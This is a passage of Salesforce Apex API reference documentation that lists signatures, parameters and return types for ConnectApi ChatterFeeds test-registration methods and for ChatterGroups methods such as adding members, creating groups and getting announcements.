Specifies the number of feed items per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.
result
Type: ConnectApi.FeedItemPage
The test feed item page.
Return Value
Type: Void
SEE ALSO:
searchFeedItems(communityId, q, pageParam, pageSize)
Testing ConnectApi Code
setTestSearchFeedItems(communityId, q, pageParam, pageSize, sortParam, result)
Registers a test feed item page to be returned when searchFeedItems(String,String,String,Integer,
ConnectApi.FeedSortOrder) is called during a test.
API Version
28.0–31.0
Signature
public static Void setTestSearchFeedItems(String communityId, String q, String pageParam,
Integer pageSize, ConnectApi.FeedSortOrder sortParam, ConnectApi.FeedItemPage result)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
q
Type: String
Required and cannot be null. Specifies the string to search. The search string must contain at least two characters, not including
wildcards. See Wildcards.
pageParam
Type: String
1113
ChatterFeeds ClassReference
The page token to use to view the page. Page tokens are returned as part of the response class, for example, currentPageToken
or nextPageToken. If you pass in null, the first page is returned.
pageSize
Type: Integer
Specifies the number of feed items per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.
sortParam
Type: ConnectApi.FeedSortOrder
Values are:
•CreatedDateDesc—Sorts by most recent creation date.
•LastModifiedDateDesc—Sorts by most recent activity.
•MostViewed—Sorts by most viewed content. This sort order is available only for Home feeds when the
ConnectApi.FeedFilter is UnansweredQuestions.
•Relevance—Sorts by most relevant content. This sort order is available only for Company, Home, and Topics feeds.
Sorts the returned feed by the most recently created feed item, or by the most recently modified feed item. If you pass in null,
the default value CreatedDateDesc is used.
result
Type: ConnectApi.FeedItemPage
The test feed item page.
Return Value
Type: Void
SEE ALSO:
searchFeedItems(communityId, q, pageParam, pageSize, sortParam)
Testing ConnectApi Code
setTestSearchFeedItems(communityId, q, recentCommentCount, pageParam,
pageSize, sortParam, result)
Registers a test feed item page to be returned when searchFeedItems(communityId, q, recentCommentCount,
pageParam, pageSize, sortParam) is called during a test.
API Version
29.0–31.0
Signature
public static Void setTestSearchFeedItems(String communityId, String q, Integer
recentCommentCount, String pageParam, Integer pageSize, ConnectApi.FeedSortOrder
sortParam, ConnectApi.FeedItemPage result)
1114
ChatterFeeds ClassReference
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
q
Type: String
Required and cannot be null. Specifies the string to search. The search string must contain at least two characters, not including
wildcards. See Wildcards.
recentCommentCount
Type: Integer
The maximum number of comments to return with each feed item. The default value is 3.
pageParam
Type: String
The page token to use to view the page. Page tokens are returned as part of the response class, for example, currentPageToken
or nextPageToken. If you pass in null, the first page is returned.
pageSize
Type: Integer
Specifies the number of feed items per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.
sortParam
Type: ConnectApi.FeedSortOrder
Values are:
•CreatedDateDesc—Sorts by most recent creation date.
•LastModifiedDateDesc—Sorts by most recent activity.
•MostViewed—Sorts by most viewed content. This sort order is available only for Home feeds when the
ConnectApi.FeedFilter is UnansweredQuestions.
•Relevance—Sorts by most relevant content. This sort order is available only for Company, Home, and Topics feeds.
Sorts the returned feed by the most recently created feed item, or by the most recently modified feed item. If you pass in null,
the default value CreatedDateDesc is used.
result
Type: ConnectApi.FeedItemPage
The test feed item page.
Return Value
Type: Void
SEE ALSO:
searchFeedItems(communityId, q, recentCommentCount, pageParam, pageSize, sortParam)
Testing ConnectApi Code
1115
ChatterFeeds ClassReference
setTestSearchFeedItemsInFeed(communityId, feedType, q, result)
Registers a ConnectApi.FeedItemPage object to be returned when the matching
ConnectApi.searchFeedItemsInFeed method is called in a test context. Use the method with the same parameters or you
receive an exception.
API Version
28.0–31.0
Signature
public static Void setTestSearchFeedItemsInFeed(String communityId, ConnectApi.FeedType
feedType, String q, ConnectApi.FeedItemPage result)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
feedType
Type: ConnectApi.FeedType
The type of feed. Valid values are Company, DirectMessages, Home, Moderation, and PendingReview.
q
Type: String
Required and cannot be null. Specifies the string to search. The search string must contain at least two characters, not including
wildcards. See Wildcards.
result
Type: ConnectApi.FeedItemPage
The object containing test data.
Return Value
Type: Void
SEE ALSO:
searchFeedItemsInFeed(communityId, feedType, q)
Testing ConnectApi Code
setTestSearchFeedItemsInFeed(communityId, feedType, pageParam, pageSize,
sortParam, q, result)
Registers a ConnectApi.FeedItemPage object to be returned when the matching
ConnectApi.searchFeedItemsInFeed method is called in a test context. Use the method with the same parameters or you
receive an exception.
1116
ChatterFeeds ClassReference
API Version
28.0–31.0
Signature
public static Void setTestSearchFeedItemsInFeed(String communityId, ConnectApi.FeedType
feedType, String pageParam, Integer pageSize, ConnectApi.FeedSortOrder sortParam, String
q, ConnectApi.FeedItemPage result)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
feedType
Type: ConnectApi.FeedType
The type of feed. Valid values include every ConnectApi.FeedType except Company, DirectMessages, Filter,
Home, Moderation, and PendingReview.
pageParam
Type: String
The page token to use to view the page. Page tokens are returned as part of the response class, for example, currentPageToken
or nextPageToken. If you pass in null, the first page is returned.
pageSize
Type: Integer
Specifies the number of feed items per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.
sortParam
Type: ConnectApi.FeedSortOrder
Values are:
•CreatedDateDesc—Sorts by most recent creation date.
•LastModifiedDateDesc—Sorts by most recent activity.
•MostViewed—Sorts by most viewed content. This sort order is available only for Home feeds when the
ConnectApi.FeedFilter is UnansweredQuestions.
•Relevance—Sorts by most relevant content. This sort order is available only for Company, Home, and Topics feeds.
Sorts the returned feed by the most recently created feed item, or by the most recently modified feed item. If you pass in null,
the default value CreatedDateDesc is used.
q
Type: String
Required and cannot be null. Specifies the string to search. The search string must contain at least two characters, not including
wildcards. See Wildcards.
result
Type: ConnectApi.FeedItemPage
The object containing test data.
1117
ChatterFeeds ClassReference
Return Value
Type: Void
SEE ALSO:
searchFeedItemsInFeed(communityId, feedType, pageParam, pageSize, sortParam, q)
Testing ConnectApi Code
setTestSearchFeedItemsInFeed(communityId, feedType, recentCommentCount,
density, pageParam, pageSize, sortParam, q, result)
Registers a ConnectApi.FeedItemPage object to be returned when the matching
ConnectApi.searchFeedItemsInFeed method is called in a test context. Use the method with the same parameters or you
receive an exception.
API Version
29.0–31.0
Signature
public static Void setTestSearchFeedItemsInFeed(String communityId, ConnectApi.FeedType
feedType, Integer recentCommentCount, ConnectApi.FeedDensity density, String pageParam,
Integer pageSize, ConnectApi.FeedSortOrder sortParam, String q, ConnectApi.FeedItemPage
result)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
feedType
Type: ConnectApi.FeedType
The type of feed. Valid values include every ConnectApi.FeedType except Company, DirectMessages, Filter,
Home, Moderation, and PendingReview.
recentCommentCount
Type: Integer
The maximum number of comments to return with each feed item. The default value is 3.
density
Type: ConnectApi.FeedDensity
Specify the amount of content in a feed.
•AllUpdates—Displays all updates from people and records the user follows and groups the user is a member of.
•FewerUpdates—Displays all updates from people and records the user follows and groups the user is a member of, but
hides some system-generated updates from records.
pageParam
Type: String
1118
ChatterFeeds ClassReference
The page token to use to view the page. Page tokens are returned as part of the response class, for example, currentPageToken
or nextPageToken. If you pass in null, the first page is returned.
pageSize
Type: Integer
Specifies the number of feed items per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.
sortParam
Type: ConnectApi.FeedSortOrder
Values are:
•CreatedDateDesc—Sorts by most recent creation date.
•LastModifiedDateDesc—Sorts by most recent activity.
•MostViewed—Sorts by most viewed content. This sort order is available only for Home feeds when the
ConnectApi.FeedFilter is UnansweredQuestions.
•Relevance—Sorts by most relevant content. This sort order is available only for Company, Home, and Topics feeds.
Sorts the returned feed by the most recently created feed item, or by the most recently modified feed item. If you pass in null,
the default value CreatedDateDesc is used.
q
Type: String
Required and cannot be null. Specifies the string to search. The search string must contain at least two characters, not including
wildcards. See Wildcards.
result
Type: ConnectApi.FeedItemPage
The object containing test data.
Return Value
Type: Void
SEE ALSO:
searchFeedItemsInFeed(communityId, feedType, recentCommentCount, density, pageParam, pageSize, sortParam, q)
Testing ConnectApi Code
setTestSearchFeedItemsInFeed(communityId, feedType, subjectId, q, result)
Registers a ConnectApi.FeedItemPage object to be returned when the matching
ConnectApi.searchFeedItemsInFeed method is called in a test context. Use the method with the same parameters or you
receive an exception.
API Version
28.0–31.0
Signature
public static Void setTestSearchFeedItemsInFeed(String communityId, ConnectApi.FeedType
feedType, String subjectId, String q, ConnectApi.FeedItemPage result)
1119
ChatterFeeds ClassReference
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
feedType
Type: ConnectApi.FeedType
The type of feed. Valid values include every ConnectApi.FeedType except Company, DirectMessages, Filter,
and Streams.
subjectId
Type: String
If feedType is Record, subjectId can be any record ID, including a group ID. If feedType is Streams, subjectId
must be a stream ID. If feedType is Topics, subjectId must be a topic ID. If feedType is UserProfile, subjectId
can be any user ID. If the feedType is any other value, subjectId must be the ID of the context user or the alias me.
q
Type: String
Required and cannot be null. Specifies the string to search. The search string must contain at least two characters, not including
wildcards. See Wildcards.
result
Type: ConnectApi.FeedItemPage
The object containing test data.
Return Value
Type: Void
SEE ALSO:
searchFeedItemsInFeed(communityId, feedType, subjectId, q)
Testing ConnectApi Code
setTestSearchFeedItemsInFeed(communityId, feedType, subjectId, pageParam,
pageSize, sortParam, q, result)
Registers a ConnectApi.FeedItemPage object to be returned when the matching
ConnectApi.searchFeedItemsInFeed method is called in a test context. Use the method with the same parameters or you
receive an exception.
API Version
28.0–31.0
Signature
public static Void setTestSearchFeedItemsInFeed(String communityId, ConnectApi.FeedType
feedType, String subjectId, String pageParam, Integer pageSize, ConnectApi.FeedSortOrder
sortParam, String q, ConnectApi.FeedItemPage result)
1120
ChatterFeeds ClassReference
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
feedType
Type: ConnectApi.FeedType
The type of feed. Valid values include every ConnectApi.FeedType except Company, DirectMessages, Filter,
and Streams.
subjectId
Type: String
If feedType is Record, subjectId can be any record ID, including a group ID. If feedType is Streams, subjectId
must be a stream ID. If feedType is Topics, subjectId must be a topic ID. If feedType is UserProfile, subjectId
can be any user ID. If the feedType is any other value, subjectId must be the ID of the context user or the alias me.
pageParam
Type: String
The page token to use to view the page. Page tokens are returned as part of the response class, for example, currentPageToken
or nextPageToken. If you pass in null, the first page is returned.
pageSize
Type: Integer
Specifies the number of feed items per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.
sortParam
Type: ConnectApi.FeedSortOrder
Values are:
•CreatedDateDesc—Sorts by most recent creation date.
•LastModifiedDateDesc—Sorts by most recent activity.
•MostViewed—Sorts by most viewed content. This sort order is available only for Home feeds when the
ConnectApi.FeedFilter is UnansweredQuestions.
•Relevance—Sorts by most relevant content. This sort order is available only for Company, Home, and Topics feeds.
Sorts the returned feed by the most recently created feed item, or by the most recently modified feed item. If you pass in null,
the default value CreatedDateDesc is used.
q
Type: String
Required and cannot be null. Specifies the string to search. The search string must contain at least two characters, not including
wildcards. See Wildcards.
result
Type: ConnectApi.FeedItemPage
The object containing test data.
1121
ChatterFeeds ClassReference
Return Value
Type: Void
SEE ALSO:
searchFeedItemsInFeed(communityId, feedType, subjectId, pageParam, pageSize, sortParam, q)
Testing ConnectApi Code
setTestSearchFeedItemsInFeed(communityId, feedType, subjectId,
recentCommentCount, density, pageParam, pageSize, sortParam, q, result)
Registers a ConnectApi.FeedItemPage object to be returned when the matching
ConnectApi.searchFeedItemsInFeed method is called in a test context. Use the method with the same parameters or you
receive an exception.
API Version
29.0–31.0
Signature
public static Void setTestSearchFeedItemsInFeed(String communityId, ConnectApi.FeedType
feedType, String subjectId, Integer recentCommentCount, ConnectApi.FeedDensity density,
String pageParam, Integer pageSize, ConnectApi.FeedSortOrder sortParam, String q,
ConnectApi.FeedItemPage result)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
feedType
Type: ConnectApi.FeedType
The type of feed. Valid values include every ConnectApi.FeedType except Company, DirectMessages, Filter,
and Streams.
subjectId
Type: String
If feedType is Record, subjectId can be any record ID, including a group ID. If feedType is Streams, subjectId
must be a stream ID. If feedType is Topics, subjectId must be a topic ID. If feedType is UserProfile, subjectId
can be any user ID. If the feedType is any other value, subjectId must be the ID of the context user or the alias me.
recentCommentCount
Type: Integer
The maximum number of comments to return with each feed item. The default value is 3.
density
Type: ConnectApi.FeedDensity
Specify the amount of content in a feed.
1122
ChatterFeeds ClassReference
•AllUpdates—Displays all updates from people and records the user follows and groups the user is a member of.
•FewerUpdates—Displays all updates from people and records the user follows and groups the user is a member of, but
hides some system-generated updates from records.
pageParam
Type: String
The page token to use to view the page. Page tokens are returned as part of the response class, for example, currentPageToken
or nextPageToken. If you pass in null, the first page is returned.
pageSize
Type: Integer
Specifies the number of feed items per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.
sortParam
Type: ConnectApi.FeedSortOrder
Values are:
•CreatedDateDesc—Sorts by most recent creation date.
•LastModifiedDateDesc—Sorts by most recent activity.
•MostViewed—Sorts by most viewed content. This sort order is available only for Home feeds when the
ConnectApi.FeedFilter is UnansweredQuestions.
•Relevance—Sorts by most relevant content. This sort order is available only for Company, Home, and Topics feeds.
Sorts the returned feed by the most recently created feed item, or by the most recently modified feed item. If you pass in null,
the default value CreatedDateDesc is used.
q
Type: String
Required and cannot be null. Specifies the string to search. The search string must contain at least two characters, not including
wildcards. See Wildcards.
result
Type: ConnectApi.FeedItemPage
The object containing test data.
Return Value
Type: Void
SEE ALSO:
searchFeedItemsInFeed(communityId, feedType, subjectId, recentCommentCount, density, pageParam, pageSize, sortParam, q)
Testing ConnectApi Code
setTestSearchFeedItemsInFeed(communityId, feedType, subjectId,
recentCommentCount, density, pageParam, pageSize, sortParam, q,
showInternalOnly, result)
Registers a ConnectApi.FeedItemPage object to be returned when the matching
ConnectApi.searchFeedItemsInFeed method is called in a test context. Use the method with the same parameters or you
receive an exception.
1123
ChatterFeeds ClassReference
API Version
29.0–31.0
Signature
public static Void setTestSearchFeedItemsInFeed(String communityId, ConnectApi.FeedType
feedType, String subjectId, Integer recentCommentCount, ConnectApi.FeedDensity density,
String pageParam, Integer pageSize, ConnectApi.FeedSortOrder sortParam, String q,
Boolean showInternalOnly, ConnectApi.FeedItemPage result)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
feedType
Type: ConnectApi.FeedType
The type of feed. Valid values include every ConnectApi.FeedType except Company, DirectMessages, Filter,
and Streams.
subjectId
Type: String
If feedType is Record, subjectId can be any record ID, including a group ID. If feedType is Streams, subjectId
must be a stream ID. If feedType is Topics, subjectId must be a topic ID. If feedType is UserProfile, subjectId
can be any user ID. If the feedType is any other value, subjectId must be the ID of the context user or the alias me.
recentCommentCount
Type: Integer
The maximum number of comments to return with each feed item. The default value is 3.
density
Type: ConnectApi.FeedDensity
Specify the amount of content in a feed.
•AllUpdates—Displays all updates from people and records the user follows and groups the user is a member of.
•FewerUpdates—Displays all updates from people and records the user follows and groups the user is a member of, but
hides some system-generated updates from records.
pageParam
Type: String
The page token to use to view the page. Page tokens are returned as part of the response class, for example, currentPageToken
or nextPageToken. If you pass in null, the first page is returned.
pageSize
Type: Integer
Specifies the number of feed items per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.
sortParam
Type: ConnectApi.FeedSortOrder
Values are:
1124
ChatterFeeds ClassReference
•CreatedDateDesc—Sorts by most recent creation date.
•LastModifiedDateDesc—Sorts by most recent activity.
•MostViewed—Sorts by most viewed content. This sort order is available only for Home feeds when the
ConnectApi.FeedFilter is UnansweredQuestions.
•Relevance—Sorts by most relevant content. This sort order is available only for Company, Home, and Topics feeds.
Sorts the returned feed by the most recently created feed item, or by the most recently modified feed item. If you pass in null,
the default value CreatedDateDesc is used.
q
Type: String
Required and cannot be null. Specifies the string to search. The search string must contain at least two characters, not including
wildcards. See Wildcards.
showInternalOnly
Type: Boolean
Specifies whether to show only feed items from internal (non-community) users (true), or not (false). The default value is
false.
result
Type: ConnectApi.FeedItemPage
The object containing test data.
Return Value
Type: Void
SEE ALSO:
searchFeedItemsInFeed(String, ConnectApi.FeedType, String, Integer, ConnectApi.FeedDensity, String, Integer,
ConnectApi.FeedSortOrder, String, Boolean)
Testing ConnectApi Code
setTestSearchFeedItemsInFilterFeed(communityId, subjectId, keyPrefix, q,
result)
Registers a ConnectApi.FeedItemPage object to be returned when the matching
ConnectApi.searchFeedItemsInFilterFeed method is called in a test context. Use the method with the same parameters
or you receive an exception.
API Version
28.0–31.0
Signature
public static Void setTestSearchFeedItemsInFilterFeed(String communityId, String
subjectId, String keyPrefix, String q, ConnectApi.FeedItemPage result)
1125
ChatterFeeds ClassReference
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
subjectId
Type: String
The ID of the context user or the alias me.
keyPrefix
Type: String
A key prefix that specifies record type. A key prefix is the first three characters in the object ID, which specifies the object type. For
example, User objects have a prefix of 005 and Group objects have a prefix of 0F9.
q
Type: String
Required and cannot be null. Specifies the string to search. The search string must contain at least two characters, not including
wildcards. See Wildcards.
result
Type: ConnectApi.FeedItemPage
Specify the test feed item page.
Return Value
Type: Void
SEE ALSO:
searchFeedItemsInFilterFeed(communityId, subjectId, keyPrefix, q)
Testing ConnectApi Code
setTestSearchFeedItemsInFilterFeed(communityId, feedType, subjectId,
keyPrefix, pageParam, pageSize, sortParam, q, result)
Registers a ConnectApi.FeedItemPage object to be returned when the matching
ConnectApi.searchFeedItemsInFilterFeed method is called in a test context. Use the method with the same parameters
or you receive an exception.
API Version
28.0–31.0
Signature
public static Void setTestSearchFeedItemsInFilterFeed(String communityId,
ConnectApi.FeedType feedType, String subjectId, String keyPrefix, String pageParam,
Integer pageSize, ConnectApi.FeedSortOrder sortParam, String q, ConnectApi.FeedItemPage
result)
1126
ChatterFeeds ClassReference
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
feedType
Type: ConnectApi.FeedType
The type of feed. Valid values include every ConnectApi.FeedType except Company, DirectMessages, Filter,
Home, Moderation, and PendingReview.
subjectId
Type: String
The ID of the context user or the alias me.
keyPrefix
Type: String
A key prefix that specifies record type. A key prefix is the first three characters in the object ID, which specifies the object type. For
example, User objects have a prefix of 005 and Group objects have a prefix of 0F9.
pageParam
Type: String
The page token to use to view the page. Page tokens are returned as part of the response class, for example, currentPageToken
or nextPageToken. If you pass in null, the first page is returned.
pageSize
Type: Integer
Specifies the number of feed items per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.
sortParam
Type: ConnectApi.FeedSortOrder
Values are:
•CreatedDateDesc—Sorts by most recent creation date.
•LastModifiedDateDesc—Sorts by most recent activity.
•MostViewed—Sorts by most viewed content. This sort order is available only for Home feeds when the
ConnectApi.FeedFilter is UnansweredQuestions.
•Relevance—Sorts by most relevant content. This sort order is available only for Company, Home, and Topics feeds.
Sorts the returned feed by the most recently created feed item, or by the most recently modified feed item. If you pass in null,
the default value CreatedDateDesc is used.
q
Type: String
Required and cannot be null. Specifies the string to search. The search string must contain at least two characters, not including
wildcards. See Wildcards.
result
Type: ConnectApi.FeedItemPage
Specify the test feed item page.
1127
ChatterFeeds ClassReference
Return Value
Type: Void
SEE ALSO:
searchFeedItemsInFilterFeed(communityId, subjectId, keyPrefix, pageParam, pageSize, sortParam, q)
Testing ConnectApi Code
setTestSearchFeedItemsInFilterFeed(communityId, feedType, subjectId,
keyPrefix, recentCommentCount, density, pageParam, pageSize, sortParam, q,
result)
Registers a ConnectApi.FeedItemPage object to be returned when the matching
ConnectApi.searchFeedItemsInFilterFeed method is called in a test context. Use the method with the same parameters
or you receive an exception.
API Version
29.0–31.0
Signature
public static Void setTestSearchFeedItemsInFilterFeed(String communityId,
ConnectApi.FeedType feedType, String subjectId, String keyPrefix, Integer
recentCommentCount, ConnectApi.FeedDensity density, String pageParam, Integer pageSize,
ConnectApi.FeedSortOrder sortParam, String q, ConnectApi.FeedItemPage result)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
feedType
Type: ConnectApi.FeedType
The type of feed. Valid values include every ConnectApi.FeedType except Company, DirectMessages, Filter,
Home, Moderation, and PendingReview.
subjectId
Type: String
The ID of the context user or the alias me.
keyPrefix
Type: String
A key prefix that specifies record type. A key prefix is the first three characters in the object ID, which specifies the object type. For
example, User objects have a prefix of 005 and Group objects have a prefix of 0F9.
recentCommentCount
Type: Integer
The maximum number of comments to return with each feed item. The default value is 3.
1128
ChatterFeeds ClassReference
density
Type: ConnectApi.FeedDensity
Specify the amount of content in a feed.
•AllUpdates—Displays all updates from people and records the user follows and groups the user is a member of.
•FewerUpdates—Displays all updates from people and records the user follows and groups the user is a member of, but
hides some system-generated updates from records.
pageParam
Type: String
The page token to use to view the page. Page tokens are returned as part of the response class, for example, currentPageToken
or nextPageToken. If you pass in null, the first page is returned.
pageSize
Type: Integer
Specifies the number of feed items per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.
sortParam
Type: ConnectApi.FeedSortOrder
Values are:
•CreatedDateDesc—Sorts by most recent creation date.
•LastModifiedDateDesc—Sorts by most recent activity.
•MostViewed—Sorts by most viewed content. This sort order is available only for Home feeds when the
ConnectApi.FeedFilter is UnansweredQuestions.
•Relevance—Sorts by most relevant content. This sort order is available only for Company, Home, and Topics feeds.
Sorts the returned feed by the most recently created feed item, or by the most recently modified feed item. If you pass in null,
the default value CreatedDateDesc is used.
q
Type: String
Required and cannot be null. Specifies the string to search. The search string must contain at least two characters, not including
wildcards. See Wildcards.
result
Type: ConnectApi.FeedItemPage
Specify the test feed item page.
Return Value
Type: Void
SEE ALSO:
searchFeedItemsInFilterFeed(communityId, subjectId, keyPrefix, recentCommentCount, density, pageParam, pageSize, sortParam,
q)
Testing ConnectApi Code
1129
ChatterFeeds ClassReference
ChatterGroups Class
Information about groups, such as the group’s members, photo, and the groups the specified user is a member of. Add members to a
group, remove members, and change the group photo.
Namespace
ConnectApi
ChatterGroups Methods
The following are methods for ChatterGroups. All methods are static.
IN THIS SECTION:
addMember(communityId, groupId, userId)
Adds the specified user to the specified group in the specified community as a standard member. To execute this method, the
context user must be the group owner or moderator.
addMemberWithRole(communityId, groupId, userId, role)
Adds the specified user with the specified role to the specified group in the specified community. To execute this method, the
context user must be the group owner or moderator.
addRecord(communityId, groupId, recordId)
Associates a record with a group.
createGroup(communityId, groupInput)
Creates a group.
deleteBannerPhoto(communityId, groupId)
Delete a group banner photo.
deleteMember(communityId, membershipId)
Deletes the specified group membership.
deletePhoto(communityId, groupId)
Deletes the photo of the specified group.
getAnnouncements(communityId, groupId)
Gets the first page of announcements in a group.
getAnnouncements(communityId, groupId, pageParam, pageSize)
Gets the specified page of announcements in a group. You can also specify the page size.
getBannerPhoto(communityId, groupId)
Get a group banner photo.
getGroup(communityId, groupId)
Returns information about the specified group.
getGroupBatch(communityId, groupIds)
Gets information about the specified list of groups. Returns a list of BatchResult objects containing
ConnectApi.ChatterGroup objects. Returns errors embedded in the results for groups that couldn’t be loaded.
getGroupMembershipRequest(communityId, requestId)
Returns information about the specified request to join a private group.
1130
ChatterGroups ClassReference
getGroupMembershipRequests(communityId, groupId)
Returns information about every request to join the specified private group.
getGroupMembershipRequests(communityId, groupId, status)
Returns information about every request to join the specified private group that has a specified status.
getGroups(communityId)
Returns the first page of all the groups. The page contains the default number of items.
getGroups(communityId, pageParam, pageSize)
Returns the specified page of information about all groups.
getGroups(communityId, pageParam, pageSize, archiveStatus)
Returns the specified page of information about a set of groups with a specified group archive status.
getMember(communityId, membershipId)
Returns information about the specified group member.
getMembers(communityId, groupId)
Get the first page of information about members of a group. The page contains the default number of items.
getMembers(communityId, groupId, pageParam, pageSize)
Get the specified page of information about members of a group.
getMembershipBatch(communityId, membershipIds)
Gets information about the specified list of group memberships. Returns a list of BatchResult objects containing
ConnectApi.GroupMember objects. Returns errors embedded in the results for group memberships that couldn’t be accessed.
getMyChatterSettings(communityId, groupId)
Returns the context user’s Chatter settings for the specified group.
getPhoto(communityId, groupId)
Returns information about the photo for the specified group.
getRecord(communityId, groupRecordId)
Returns information about a record associated with a group.
getRecords(communityId, groupId)
Returns the first page of records associated with the specified group. The page contains the default number of items.
getRecords(communityId, groupId, pageParam, pageSize)
Returns the specified page from the list of records associated with a group.
inviteUsers(groupId, invite)
Invite internal and external users to join a group.
postAnnouncement(communityId, groupId, announcement)
Posts an announcement to the group.
removeRecord(communityId, groupRecordId)
Removes the association of a record with a group.
requestGroupMembership(communityId, groupId)
Requests membership in a private group for the context user.
searchGroups(communityId, q)
Returns the first page of groups that match the specified search criteria. The page contains the default number of items.
searchGroups(communityId, q, pageParam, pageSize)
Returns the specified page of groups that match the specified search criteria.
1131
ChatterGroups ClassReference
searchGroups(communityId, q, archiveStatus, pageParam, pageSize)
Returns the specified page of groups that match the specified search criteria and that have the specified archive status.
setBannerPhoto(communityId, groupId, fileId, versionNumber)
Sets the group banner photo to an already uploaded file.
setBannerPhoto(communityId, groupId, fileUpload)
Sets the group banner photo to a file that hasn’t been uploaded.
setBannerPhotoWithAttributes(communityId, groupId, bannerPhoto)
Sets and crops an already uploaded file as the group banner photo.
setBannerPhotoWithAttributes(communityId, groupId, bannerPhoto, fileUpload)
Sets the group banner photo to a file that hasn’t been uploaded and requires cropping.
setPhoto(communityId, groupId, fileId, versionNumber)
Sets the group photo to an already uploaded file.
setPhoto(communityId, groupId, fileUpload)
Sets the group photo to the specified blob..
setPhotoWithAttributes(communityId, groupId, photo)
Sets and crops an already uploaded file as the group photo.
setPhotoWithAttributes(communityId, groupId, photo, fileUpload)
Sets and crops a binary input as the group photo.
updateGroup(communityId, groupId, groupInput)
Update the settings of a group.
updateGroupMember(communityId, membershipId, role)
Updates the specified group membership with the specified role in the specified community. This method is successful only when
the context user is the group manager or owner, or has “Modify All Data” permission.
updateMyChatterSettings(communityId, groupId, emailFrequency)
Updates the context user’s Chatter settings for the specified group.
updateRequestStatus(communityId, requestId, status)
Updates a request to join a private group.
updateRequestStatus(communityId, requestId, status, responseMessage)
Updates a request to join a private group and optionally provides a message when the request is denied.
addMember(communityId, groupId, userId)
Adds the specified user to the specified group in the specified community as a standard member. To execute this method, the context
user must be the group owner or moderator.
API Version
28.0
Requires Chatter
Yes
1132
ChatterGroups ClassReference
Signature
public static ConnectApi.GroupMember addMember(String communityId, String groupId,
String userId)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
groupId
Type: String
The ID for a group.
userId
Type: String
The ID for a user.
Return Value
Type: ConnectApi.GroupMember
addMemberWithRole(communityId, groupId, userId, role)
Adds the specified user with the specified role to the specified group in the specified community. To execute this method, the context
user must be the group owner or moderator.
API Version
29.0
Requires Chatter
Yes
Signature
public static ConnectApi.GroupMember addMemberWithRole(String communityId, String
groupId, String userId, ConnectApi.GroupMembershipType role)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
groupId
Type: String
The ID for a group.
1133
ChatterGroups ClassReference
userId
Type: String
The ID for a user.
role
Type: ConnectApi.GroupMembershipType
The group membership type. One of these values:
•GroupManager
•StandardMember
Return Value
Type: ConnectApi.GroupMember
addRecord(communityId, groupId, recordId)
Associates a record with a group.
API Version
34.0
Requires Chatter
Yes
Signature
public static ConnectApi.GroupRecord addRecord(String communityId, String groupId,
String recordId)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
groupId
Type: String
ID of the group with which to associate the record.
recordId
Type: String
ID of the record to associate with the group.
Return Value
Type: ConnectApi.GroupRecord
1134
ChatterGroups ClassReference
createGroup(communityId, groupInput)
Creates a group.
API Version
29.0
Requires Chatter
Yes
Signature
public static ConnectApi.ChatterGroupDetail createGroup(String, communityId,
ConnectApi.ChatterGroupInput groupInput)
Parameters
communityId
Type: String,
Use either the ID for a community, internal, or null.
groupInput
Type: ConnectApi.ChatterGroupInput
The properties of the group.
Return Value
Type: ConnectApi.ChatterGroupDetail
deleteBannerPhoto(communityId, groupId)
Delete a group banner photo.
API Version
36.0
Requires Chatter
Yes
Signature
public static Void deleteBannerPhoto(String communityId, String groupId)
Parameters
communityId
Type: String
1135
ChatterGroups ClassReference
Use either the ID for a community, internal, or null.
groupId
Type: String
ID of the group.
Return Value
Type: Void
Usage
This method is successful only when the context user is the group manager or owner, or has “Modify All Data” permission.
deleteMember(communityId, membershipId)
Deletes the specified group membership.
API Version
28.0
Requires Chatter
Yes
Signature
public static Void deleteMember(String communityId, String membershipId)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
membershipId
Type: String
The ID for a membership.
Return Value
Type: Void
Usage
This method is successful only when the context user is the group manager or owner, or has “Modify All Data” permission.
deletePhoto(communityId, groupId)
Deletes the photo of the specified group.
1136
ChatterGroups ClassReference
API Version
28.0
Requires Chatter
Yes
Signature
public static Void deletePhoto(String communityId, String groupId)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
groupId
Type: String
The ID for a group.
Return Value
Type: Void
Usage
This method is only successful when the context user is the group manager or owner, or has “Modify All Data” permission.
getAnnouncements(communityId, groupId)
Gets the first page of announcements in a group.
API Version
31.0
Requires Chatter
Yes
Signature
public static ConnectApi.AnnouncementPage getAnnouncements(String communityId, String
groupId)
Parameters
communityId
Type: String
1137
ChatterGroups ClassReference
Use either the ID for a community, internal, or null.
groupId
Type: String
The ID for a group.
Return Value
Type: ConnectApi.AnnouncementPage
Usage
To post an announcement, get information about an announcement, update the expiration date of an announcement, or delete an
announcement, use the methods of the ConnectApi.Announcements class.
getAnnouncements(communityId, groupId, pageParam, pageSize)
Gets the specified page of announcements in a group. You can also specify the page size.
API Version
31.0
Requires Chatter
Yes
Signature
public static ConnectApi.AnnouncementPage getAnnouncements(String communityId, String
groupId, Integer pageParam, Integer pageSize)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
groupId
Type: String
The ID for a group.
pageParam
Type: Integer
Specifies the number of the page you want returned. Starts at 0. If you pass in null or 0, the first page is returned.
pageSize
Type: Integer
